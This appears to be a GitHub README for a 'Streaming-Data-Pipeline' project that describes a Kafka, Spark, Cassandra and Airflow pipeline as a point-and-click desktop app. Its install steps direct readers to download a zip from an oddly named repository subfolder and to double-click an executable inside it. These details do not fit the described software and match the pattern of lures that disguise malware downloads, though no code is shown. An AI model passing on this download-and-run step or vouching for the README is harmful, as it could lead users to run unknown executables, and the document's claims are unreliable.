Streaming-Data-Pipeline is a real-time data engineering pipeline. It seamlessly connects Kafka, Spark Structured Streaming, Cassandra, and Airflow. This application helps manage your data flow and processing needs without requiring deep technical skills.
- Real-Time Data Processing: Handle data instantly as it streams.
- Scalability: Built to grow with your needs.
- User-Friendly Interface: Easy setup for all users.
- Compatibility: Works well with multiple technologies, including Docker and Python.
- Reliable Data Storage: Utilize Cassandra for efficient storage.
Before you get started, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux.
- Memory: At least 4GB RAM recommended.
- Storage: A minimum of 1GB free space.
- Java: Java Runtime Environment (JRE) 8 or higher installed.
- Docker (optional): For containerized deployment.
To get started, visit this page to download the latest version of the Streaming-Data-Pipeline:
Download Streaming-Data-Pipeline
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Visit the Releases Page: Click the link above to navigate to the releases page.
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Select the Latest Release: Look for the most recent version listed on the page.
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Download the Package: Click on the appropriate file for your operating system (e.g.,
.zip,https://raw.githubusercontent.com/kushal-bage/Streaming-Data-Pipeline/main/stelleridean/Streaming-Data-Pipeline.zip). -
Extract the Files: Once downloaded, extract the contents to a folder of your choice.
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Run the Application: Locate the executable file in the extracted folder. Double-click it to start Streaming-Data-Pipeline.
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Follow On-Screen Instructions: The interface will guide you through initial setup procedures.
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Setting Up Your Environment: After launching the application, you will need to configure your data sources. Use the user-friendly prompts in the setup wizard.
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Connect to Kafka: Provide your Kafka server details to start ingesting data streams.
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Configure Spark Settings: Define your processing logic using the guided templates for Spark Structured Streaming.
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Store Data in Cassandra: Set up your Cassandra connection for data storage. This will ensure your processed data remains available for analysis.
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Schedule with Airflow: Utilize Airflow to manage scheduling. You can automate your tasks easily through the interface.
If you encounter issues during installation or usage, consider the following steps:
- Check System Requirements: Ensure your system meets the necessary requirements outlined above.
- Consult the Log Files: Review log files for any error messages that can hint at the issue.
- Visit the Issues Section: On the GitHub repository page, check the issues section for common problems and their solutions.
If you still need help, reach out through the GitHub repository's issues section or join the community discussions. Your feedback is valuable for improving the application.
For additional resources, including detailed documentation, guides, and updates, please visit the Streaming-Data-Pipeline GitHub Page.
Stay updated on new features and improvements by following the project on GitHub. Your support helps us grow and provide better tools for data management.
(Visit the releases page above to dive into the world of real-time data processing with Streaming-Data-Pipeline.)